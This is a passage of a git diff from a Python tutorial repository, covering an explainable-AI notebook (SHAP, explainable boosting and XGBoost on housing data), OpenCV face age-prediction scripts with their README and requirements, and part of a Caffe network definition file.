] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "EaD3dEmxO_vm" + }, + "source": [ + "## Using the Interpret Explaining Boosting Model\n", + "\n", + "In this section, you will utilize generalized additive models (GAM) to forecast home prices.\n", + "The model fitted using the SHAP library may be explained.\n", + "The interpret Python package may be used to train the generalized additive model, and the trained model object can then be sent through the SHAP model to provide explanations for the boosting models. \n", + "The interpret library can be installed three ways:\n", + "\n", + "!pip install interpret-core\n", + "Using the pip install method, this is done without any dependencies.\n", + "\n", + "conda install -c interpretml interpret-core\n", + "This is a distribution based on anaconda. You may install using the conda environment's terminal. \n", + "\n", + "git clone https://github.com/interpretml/interpret.git && cd interpret/scripts && make install-core\n", + "GitHub is used to get this directly from the source.\n", + "\n", + "Glassbox models: The scikit-learn framework is used to build Glassbox models that are more interpretable while keeping the same degree of accuracy as the current sklearn library. Linear models, decision trees, decision rules, and boosting-based models are all supported.\n", + "\n", + "Blackbox explainers: An approximate explanation of the model's behavior and predictions is provided by blackbox explainers.\n", + "These approaches may be used when none of the machine learning model's components can be interpreted.\n", + "Shapely explanations, LIME explanations, partial dependency plots, and Morris sensitivity analysis may all be supported by these methods.\n" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "H-zeKbXNXSMC" + }, + "source": [ + "To begin, import the glassbox module from interpret, then set up the explainable boosting regressor and fit the model.\n", + "model ebm is the model object. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "JHrkRQEFWO3k", + "outputId": "15e8acc0-3e6b-439e-eaf4-417a2b088ec3" + }, + "outputs": [], + "source": [ + "# fit a GAM model to the data\n", + "m_ebm = interpret.glassbox.ExplainableBoostingRegressor()\n", + "m_ebm.fit(X, y)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "CbgX2v_AbNon" + }, + "source": [ + "You will sample the training dataset to provide a backdrop for creating explanations using the SHAP package.\n", + "In the SHAP explainer, you utilize m_ebm.predict and some samples to construct explanations. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "hSSPfhb-aEZn", + "outputId": "87b9b8e4-d0f5-42f5-96ad-7cb3edac80c1" + }, + "outputs": [], + "source": [ + "# GAM model with SHAP explanation\n", + "expl_ebm = shap.Explainer(m_ebm.predict, X1000)\n", + "shap_v_ebm = expl_ebm(X)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 296 + }, + "id": "N01H5W4od4OG", + "outputId": "d54b95a7-316c-4275-8455-c052bf3e35e6" + }, + "outputs": [], + "source": [ + "# PDP with a single SHAP value \n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"RM\", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False,\n", + "shap_values=shap_v_ebm[sample_ind:sample_ind+1,:]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "QVEr5Nmfew2G" + }, + "source": [ + "The boosting-based model is shown above .\n", + "There is a non-linear relationship between the RM values and the forecasted target column, which is the average value of housing prices. As the red straight line indicates, we're explaining the same 18th record once again. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "80XgyJzqi7_g", + "outputId": "bf42e04e-9623-4f9d-d25d-60a50066192a" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_v_ebm[:,\"RM\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ROXO8Dv0jK7e" + }, + "source": [ + "The relationship shown in the graph above is non-linear.\n", + "At the start, the predicted value does not grow significantly as the RM increases, but beyond a particular stage, the SHAP value for RM climbs exponentially as the RM value increases. " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "P190M7KrnjA3" + }, + "source": [ + "Here's another representation of the relationship between the SHAP and feature values, as seen in the figure below. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433 + }, + "id": "kgwqF54FmnhG", + "outputId": "a02b17c4-883d-4fa6-8d18-ad17153add34" + }, + "outputs": [], + "source": [ + "# In order to get at explainer.expected_value, we use the waterfall_plot. \n", + "m_ebm.predict(X)[sample_ind]\n", + "shap.plots.beeswarm(shap_v_ebm, max_display=14)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "aPvt1923qBD3" + }, + "source": [ + "Non-linearity is seen in the below figure, where the extreme gradient boosting regression model is applied to explain ensemble models. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 314 + }, + "id": "M-NZZvYCoMF5", + "outputId": "02bb11af-3c01-45b0-cacb-f08613cf4f3c" + }, + "outputs": [], + "source": [ + "# XGBoost model training\n", + "m_xgb = xgboost.XGBRegressor(n_estimators=100, max_depth=2).fit(X, y)\n", + "# the GAM model explanation with SHAP\n", + "expl_xgb = shap.Explainer(m_xgb, X1000)\n", + "shap_v_xgb = expl_xgb(X)\n", + "## PDP\n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"RM\", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False,\n", + "shap_values=shap_v_ebm[sample_ind:sample_ind+1,:]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "1Eu43N1-rP3G" + }, + "source": [ + "A non-linear relationship between RM and the SHAP value of RM is seen in the figure below. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "MAztRoVAqohA", + "outputId": "ac49dba0-3e5d-4a3b-b47e-632c0243757f" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_v_xgb[:,\"RM\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "GDFo7-18t5u_" + }, + "source": [ + "The graph below depicts the same non-linear relationship with an extra overlay of the RAD feature, demonstrating that the higher the RM value, the higher the RAD component, and vice versa. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "s6mJwUP3rfWN", + "outputId": "ecd3d9b3-b558-424e-8501-f5fc0a7237ce" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_v_xgb[:,\"RM\"], color=shap_values)" + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [], + "name": "explainableai_PythonCodeTutorial.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3.9.12 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + }, + "vscode": { + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/explainable-ai/requirements.txt b/machine-learning/explainable-ai/requirements.txt new file mode 100644 index 00000000..8296e738 --- /dev/null +++ b/machine-learning/explainable-ai/requirements.txt @@ -0,0 +1,7 @@ +numpy +pandas +matplotlib +sklearn +shap +LIME +interpret-core \ No newline at end of file diff --git a/machine-learning/face-age-prediction/3-people.jpg b/machine-learning/face-age-prediction/3-people.jpg new file mode 100644 index 00000000..e9584073 Binary files /dev/null and b/machine-learning/face-age-prediction/3-people.jpg differ diff --git a/machine-learning/face-age-prediction/README.md b/machine-learning/face-age-prediction/README.md new file mode 100644 index 00000000..3a355a01 --- /dev/null +++ b/machine-learning/face-age-prediction/README.md @@ -0,0 +1,8 @@ +# [Age Prediction using OpenCV in Python](https://www.thepythoncode.com/article/predict-age-using-opencv) +Before running the code, do the following: +- `pip3 install -r requirements.txt` +- Download [face detection](https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel) and [age detection](https://drive.google.com/open?id=1kiusFljZc9QfcIYdU2s7xrtWHTraHwmW) models and put them in the `weights` folder. +- Run the program: + ``` + python predict_age.py 3-people.jpg + ``` \ No newline at end of file diff --git a/machine-learning/face-age-prediction/predict_age.py b/machine-learning/face-age-prediction/predict_age.py new file mode 100644 index 00000000..afc9fbf7 --- /dev/null +++ b/machine-learning/face-age-prediction/predict_age.py @@ -0,0 +1,156 @@ +# Import Libraries +import cv2 +import os +import filetype +import numpy as np + +# The model architecture +# download from: https://drive.google.com/open?id=1kiusFljZc9QfcIYdU2s7xrtWHTraHwmW +AGE_MODEL = 'weights/deploy_age.prototxt' +# The model pre-trained weights +# download from: https://drive.google.com/open?id=1kWv0AjxGSN0g31OeJa02eBGM0R_jcjIl +AGE_PROTO = 'weights/age_net.caffemodel' +# Each Caffe Model impose the shape of the input image also image preprocessing is required like mean +# substraction to eliminate the effect of illunination changes +MODEL_MEAN_VALUES = (78.4263377603, 87.7689143744, 114.895847746) +# Represent the 8 age classes of this CNN probability layer +AGE_INTERVALS = ['(0, 2)', '(4, 6)', '(8, 12)', '(15, 20)', + '(25, 32)', '(38, 43)', '(48, 53)', '(60, 100)'] +# download from: https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +FACE_PROTO = "weights/deploy.prototxt.txt" +# download from: https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +FACE_MODEL = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# Initialize frame size +frame_width = 1280 +frame_height = 720 + +# load face Caffe model +face_net = cv2.dnn.readNetFromCaffe(FACE_PROTO, FACE_MODEL) +# Load age prediction model +age_net = cv2.dnn.readNetFromCaffe(AGE_MODEL, AGE_PROTO) + + +def get_faces(frame, confidence_threshold=0.5): + """Returns the box coordinates of all detected faces""" + # convert the frame into a blob to be ready for NN input + blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104, 177.0, 123.0)) + # set the image as input to the NN + face_net.setInput(blob) + # perform inference and get predictions + output = np.squeeze(face_net.forward()) + # initialize the result list + faces = [] + # Loop over the faces detected + for i in range(output.shape[0]): + confidence = output[i, 2] + if confidence > confidence_threshold: + box = output[i, 3:7] * np.array([frame.shape[1], frame.shape[0], frame.shape[1], frame.shape[0]]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # widen the box a little + start_x, start_y, end_x, end_y = start_x - \ + 10, start_y - 10, end_x + 10, end_y + 10 + start_x = 0 if start_x < 0 else start_x + start_y = 0 if start_y < 0 else start_y + end_x = 0 if end_x < 0 else end_x + end_y = 0 if end_y < 0 else end_y + # append to our list + faces.append((start_x, start_y, end_x, end_y)) + return faces + + +def display_img(title, img): + """Displays an image on screen and maintains the output until the user presses a key""" + # Display Image on screen + cv2.imshow(title, img) + # Mantain output until user presses a key + cv2.waitKey(0) + # Destroy windows when user presses a key + cv2.destroyAllWindows() + + +def get_optimal_font_scale(text, width): + """Determine the optimal font scale based on the hosting frame width""" + for scale in reversed(range(0, 60, 1)): + textSize = cv2.getTextSize(text, fontFace=cv2.FONT_HERSHEY_DUPLEX, fontScale=scale/10, thickness=1) + new_width = textSize[0][0] + if (new_width <= width): + return scale/10 + return 1 + +# from: https://stackoverflow.com/questions/44650888/resize-an-image-without-distortion-opencv +def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): + # initialize the dimensions of the image to be resized and + # grab the image size + dim = None + (h, w) = image.shape[:2] + # if both the width and height are None, then return the + # original image + if width is None and height is None: + return image + # check to see if the width is None + if width is None: + # calculate the ratio of the height and construct the + # dimensions + r = height / float(h) + dim = (int(w * r), height) + # otherwise, the height is None + else: + # calculate the ratio of the width and construct the + # dimensions + r = width / float(w) + dim = (width, int(h * r)) + # resize the image + return cv2.resize(image, dim, interpolation = inter) + + +def predict_age(input_path: str): + """Predict the age of the faces showing in the image""" + # Read Input Image + img = cv2.imread(input_path) + # Take a copy of the initial image and resize it + frame = img.copy() + if frame.shape[1] > frame_width: + frame = image_resize(frame, width=frame_width) + faces = get_faces(frame) + for i, (start_x, start_y, end_x, end_y) in enumerate(faces): + face_img = frame[start_y: end_y, start_x: end_x] + # image --> Input image to preprocess before passing it through our dnn for classification. + blob = cv2.dnn.blobFromImage( + image=face_img, scalefactor=1.0, size=(227, 227), + mean=MODEL_MEAN_VALUES, swapRB=False + ) + # Predict Age + age_net.setInput(blob) + age_preds = age_net.forward() + print("="*30, f"Face {i+1} Prediction Probabilities", "="*30) + for i in range(age_preds[0].shape[0]): + print(f"{AGE_INTERVALS[i]}: {age_preds[0, i]*100:.2f}%") + i = age_preds[0].argmax() + age = AGE_INTERVALS[i] + age_confidence_score = age_preds[0][i] + # Draw the box + label = f"Age:{age} - {age_confidence_score*100:.2f}%" + print(label) + # get the position where to put the text + yPos = start_y - 15 + while yPos < 15: + yPos += 15 + # write the text into the frame + cv2.putText(frame, label, (start_x, yPos), + cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), thickness=2) + # draw the rectangle around the face + cv2.rectangle(frame, (start_x, start_y), (end_x, end_y), color=(255, 0, 0), thickness=2) + # Display processed image + display_img('Age Estimator', frame) + # save the image if you want + # cv2.imwrite("predicted_age.jpg", frame) + + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + import sys + image_path = sys.argv[1] + predict_age(image_path) diff --git a/machine-learning/face-age-prediction/predict_age_live.py b/machine-learning/face-age-prediction/predict_age_live.py new file mode 100644 index 00000000..e36e8a74 --- /dev/null +++ b/machine-learning/face-age-prediction/predict_age_live.py @@ -0,0 +1,149 @@ +# Import Libraries +import cv2 +import os +import filetype +import numpy as np + +# The model architecture +# download from: https://drive.google.com/open?id=1kiusFljZc9QfcIYdU2s7xrtWHTraHwmW +AGE_MODEL = 'weights/deploy_age.prototxt' +# The model pre-trained weights +# download from: https://drive.google.com/open?id=1kWv0AjxGSN0g31OeJa02eBGM0R_jcjIl +AGE_PROTO = 'weights/age_net.caffemodel' +# Each Caffe Model impose the shape of the input image also image preprocessing is required like mean +# substraction to eliminate the effect of illunination changes +MODEL_MEAN_VALUES = (78.4263377603, 87.7689143744, 114.895847746) +# Represent the 8 age classes of this CNN probability layer +AGE_INTERVALS = ['(0, 2)', '(4, 6)', '(8, 12)', '(15, 20)', + '(25, 32)', '(38, 43)', '(48, 53)', '(60, 100)'] +# download from: https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +FACE_PROTO = "weights/deploy.prototxt.txt" +# download from: https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +FACE_MODEL = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# Initialize frame size +frame_width = 1280 +frame_height = 720 + +# load face Caffe model +face_net = cv2.dnn.readNetFromCaffe(FACE_PROTO, FACE_MODEL) +# Load age prediction model +age_net = cv2.dnn.readNetFromCaffe(AGE_MODEL, AGE_PROTO) + + +def get_faces(frame, confidence_threshold=0.5): + """Returns the box coordinates of all detected faces""" + # convert the frame into a blob to be ready for NN input + blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104, 177.0, 123.0)) + # set the image as input to the NN + face_net.setInput(blob) + # perform inference and get predictions + output = np.squeeze(face_net.forward()) + # initialize the result list + faces = [] + # Loop over the faces detected + for i in range(output.shape[0]): + confidence = output[i, 2] + if confidence > confidence_threshold: + box = output[i, 3:7] * np.array([frame.shape[1], frame.shape[0], frame.shape[1], frame.shape[0]]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # widen the box a little + start_x, start_y, end_x, end_y = start_x - \ + 10, start_y - 10, end_x + 10, end_y + 10 + start_x = 0 if start_x < 0 else start_x + start_y = 0 if start_y < 0 else start_y + end_x = 0 if end_x < 0 else end_x + end_y = 0 if end_y < 0 else end_y + # append to our list + faces.append((start_x, start_y, end_x, end_y)) + return faces + + +def get_optimal_font_scale(text, width): + """Determine the optimal font scale based on the hosting frame width""" + for scale in reversed(range(0, 60, 1)): + textSize = cv2.getTextSize(text, fontFace=cv2.FONT_HERSHEY_DUPLEX, fontScale=scale/10, thickness=1) + new_width = textSize[0][0] + if (new_width <= width): + return scale/10 + return 1 + +# from: https://stackoverflow.com/questions/44650888/resize-an-image-without-distortion-opencv +def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): + # initialize the dimensions of the image to be resized and + # grab the image size + dim = None + (h, w) = image.shape[:2] + # if both the width and height are None, then return the + # original image + if width is None and height is None: + return image + # check to see if the width is None + if width is None: + # calculate the ratio of the height and construct the + # dimensions + r = height / float(h) + dim = (int(w * r), height) + # otherwise, the height is None + else: + # calculate the ratio of the width and construct the + # dimensions + r = width / float(w) + dim = (width, int(h * r)) + # resize the image + return cv2.resize(image, dim, interpolation = inter) + + +def predict_age(): + """Predict the age of the faces showing in the image""" + + # create a new cam object + cap = cv2.VideoCapture(0) + + while True: + _, img = cap.read() + # Take a copy of the initial image and resize it + frame = img.copy() + if frame.shape[1] > frame_width: + frame = image_resize(frame, width=frame_width) + faces = get_faces(frame) + for i, (start_x, start_y, end_x, end_y) in enumerate(faces): + face_img = frame[start_y: end_y, start_x: end_x] + # image --> Input image to preprocess before passing it through our dnn for classification. + blob = cv2.dnn.blobFromImage( + image=face_img, scalefactor=1.0, size=(227, 227), + mean=MODEL_MEAN_VALUES, swapRB=False + ) + # Predict Age + age_net.setInput(blob) + age_preds = age_net.forward() + print("="*30, f"Face {i+1} Prediction Probabilities", "="*30) + for i in range(age_preds[0].shape[0]): + print(f"{AGE_INTERVALS[i]}: {age_preds[0, i]*100:.2f}%") + i = age_preds[0].argmax() + age = AGE_INTERVALS[i] + age_confidence_score = age_preds[0][i] + # Draw the box + label = f"Age:{age} - {age_confidence_score*100:.2f}%" + print(label) + # get the position where to put the text + yPos = start_y - 15 + while yPos < 15: + yPos += 15 + # write the text into the frame + cv2.putText(frame, label, (start_x, yPos), + cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), thickness=2) + # draw the rectangle around the face + cv2.rectangle(frame, (start_x, start_y), (end_x, end_y), color=(255, 0, 0), thickness=2) + # Display processed image + cv2.imshow('Age Estimator', frame) + if cv2.waitKey(1) == ord("q"): + break + # save the image if you want + # cv2.imwrite("predicted_age.jpg", frame) + cv2.destroyAllWindows() + + +if __name__ == '__main__': + predict_age() diff --git a/machine-learning/face-age-prediction/requirements.txt b/machine-learning/face-age-prediction/requirements.txt new file mode 100644 index 00000000..6f1e5232 --- /dev/null +++ b/machine-learning/face-age-prediction/requirements.txt @@ -0,0 +1,2 @@ +opencv-python +numpy \ No newline at end of file diff --git a/machine-learning/face-age-prediction/weights/deploy.prototxt.txt b/machine-learning/face-age-prediction/weights/deploy.prototxt.txt new file mode 100644 index 00000000..845a067c --- /dev/null +++ b/machine-learning/face-age-prediction/weights/deploy.prototxt.txt @@ -0,0 +1,1790 @@ +input: "data" +input_shape { + dim: 1 + dim: 3 + dim: 300 + dim: 300 +} + +layer { + name: "data_bn" + type: "BatchNorm" + bottom: "data" + top: "data_bn" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "data_scale" + type: "Scale" + bottom: "data_bn" + top: "data_bn" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "conv1_h" + type: "Convolution" + bottom: "data_bn" + top: "conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + pad: 3 + kernel_size: 7 + stride: 2 + weight_filler { + type: "msra" + variance_norm: FAN_OUT + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "conv1_bn_h" + type: "BatchNorm" + bottom: "conv1_h" + top: "conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "conv1_scale_h" + type: "Scale" + bottom: "conv1_h" + top: "conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "conv1_relu" + type: "ReLU" + bottom: "conv1_h" + top: "conv1_h" +} +layer { + name: "conv1_pool" + type: "Pooling" + bottom: "conv1_h" + top: "conv1_pool" + pooling_param { + kernel_size: 3 + stride: 2 + } +} +layer { + name: "layer_64_1_conv1_h" + type: "Convolution" + bottom: "conv1_pool" + top: "layer_64_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_64_1_bn2_h" + type: "BatchNorm" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_64_1_scale2_h" + type: "Scale" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_64_1_relu2" + type: "ReLU" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" +} +layer { + name: "layer_64_1_conv2_h" + type: "Convolution" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv2_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_64_1_sum" + type: "Eltwise" + bottom: "layer_64_1_conv2_h" + bottom: "conv1_pool" + top: "layer_64_1_sum" +} +layer { + name: "layer_128_1_bn1_h" + type: "BatchNorm" + bottom: "layer_64_1_sum" + top: "layer_128_1_bn1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_128_1_scale1_h" + type: "Scale" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_bn1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_128_1_relu1" + type: "ReLU" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_bn1_h" +} +layer { + name: "layer_128_1_conv1_h" + type: "Convolution" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_bn2" + type: "BatchNorm" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_128_1_scale2" + type: "Scale" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_128_1_relu2" + type: "ReLU" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" +} +layer { + name: "layer_128_1_conv2" + type: "Convolution" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv2" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_conv_expand_h" + type: "Convolution" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_conv_expand_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_sum" + type: "Eltwise" + bottom: "layer_128_1_conv2" + bottom: "layer_128_1_conv_expand_h" + top: "layer_128_1_sum" +} +layer { + name: "layer_256_1_bn1" + type: "BatchNorm" + bottom: "layer_128_1_sum" + top: "layer_256_1_bn1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_256_1_scale1" + type: "Scale" + bottom: "layer_256_1_bn1" + top: "layer_256_1_bn1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_256_1_relu1" + type: "ReLU" + bottom: "layer_256_1_bn1" + top: "layer_256_1_bn1" +} +layer { + name: "layer_256_1_conv1" + type: "Convolution" + bottom: "layer_256_1_bn1" + top: "layer_256_1_conv1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_bn2" + type: "BatchNorm" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_256_1_scale2" + type: "Scale" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_256_1_relu2" + type: "ReLU" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" +} +layer { + name: "layer_256_1_conv2" + type: "Convolution" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv2" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_conv_expand" + type: "Convolution" + bottom: "layer_256_1_bn1" + top: "layer_256_1_conv_expand" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_sum" + type: "Eltwise" + bottom: "layer_256_1_conv2" + bottom: "layer_256_1_conv_expand" + top: "layer_256_1_sum" +} +layer { + name: "layer_512_1_bn1" + type: "BatchNorm" + bottom: "layer_256_1_sum" + top: "layer_512_1_bn1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_512_1_scale1" + type: "Scale" + bottom: "layer_512_1_bn1" + top: "layer_512_1_bn1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_512_1_relu1" + type: "ReLU" + bottom: "layer_512_1_bn1" + top: "layer_512_1_bn1" +} +layer { + name: "layer_512_1_conv1_h" + type: "Convolution" + bottom: "layer_512_1_bn1" + top: "layer_512_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 # 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_bn2_h" + type: "BatchNorm" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_512_1_scale2_h" + type: "Scale" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_512_1_relu2" + type: "ReLU" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" +} +layer { + name: "layer_512_1_conv2_h" + type: "Convolution" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv2_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 2 # 1 + kernel_size: 3 + stride: 1 + dilation: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_conv_expand_h" + type: "Convolution" + bottom: "layer_512_1_bn1" + top: "layer_512_1_conv_expand_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 1 # 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_sum" + type: "Eltwise" + bottom: "layer_512_1_conv2_h" + bottom: "layer_512_1_conv_expand_h" 